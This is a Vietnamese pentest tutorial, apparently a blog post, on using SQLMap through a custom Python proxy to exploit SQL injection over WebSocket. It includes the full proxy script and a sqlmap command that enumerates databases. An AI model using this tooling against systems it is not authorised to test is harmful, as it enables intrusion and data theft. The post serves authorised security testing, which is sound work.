# [WebSocket] Scan SQL Injection thông qua SqlMap

# Vấn đề

Trong quá trình pentest, team mình có gặp phải trường hợp liên quan đến lỗ hổng `SQL Injection` qua `WebSocket`. Dù đã detect được thông Burp Suite nhưng team muốn exploit, dump database của con web thông `SQLMap` mà có một vấn đề là SQLMap chỉ có thể gửi các request **HTTP** thông thường đến máy chủ web và không thể gửi các yêu cầu của `WebSocket`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1682860084242/86318647-e2e2-426b-8ac3-49c9e14562a8.png align="center")

Vậy có cách nào để sử dụng sqlmap để scan, exploit?

# **Ý tưởng**

Sử dụng một máy chủ đóng vai trò là như một proxy, SQLMap sẽ gửi các request tới máy chủ proxy và sau đó máy chủ proxy sẽ sửa đổi, gửi các request hợp lệ tới WebSocket.

1. Tạo một HTTP Server nhận các payload từ SQLMap thông qua GET parameter.
    
2. Chỉnh sửa lại payload theo định một định dạng chung (JSON).
    
3. Tạo một kết nối WebSocket tới mục tiêu, nhận response và sửa đổi lại thông báo nếu cần.
    
4. Gửi payload SQL Injection và nhận output từ WebSocket.
    
5. Hiển thị output như một response.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1682856996783/32e548d2-20ae-4789-9000-84df51649dcc.jpeg align="center")

# Giải quyết vấn đề

## Thiết lập

Sử dụng python để tạo một HTTP server và cũng như kết nối với WebSocket. Ở đây sẽ cần cài đặt package [websocket-client](https://pypi.org/project/websocket-client/) thông qua pip3.

Tạo một HTTP Server trên cổng 8081, trích xuất value của GET parameter đầu tiên và gửi value với định dạng là một JSON (theo yêu cầu của web target). Sau đó, nó sẽ thiết lập kết nối WebSocket và gửi payload tới WebSocket.

Python3 script:

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://link-target:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass
```

## Sử dụng SQLMap

Để chạy SQLMap, chỉ cần cung cấp đúng URL bao gồm các query parameter và SQL sẽ lo phần còn lại.

Khi SQLMap được chạy, nó có thể scan target thông qua fake server mà ta đã tạo.

```bash
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
```

Kết quả sau khi sử dụng SQLMap:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1682860936079/2d5cee89-d5e5-4aff-ae2d-67a93ca70d48.png align="center")

# Tham khảo

[**SQLMap over websockets**](https://2h3ph3rd.medium.com/sqlmap-over-websockets-353cdcd9a7ab)

[Automating Blind SQL injection over WebSocket](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html)
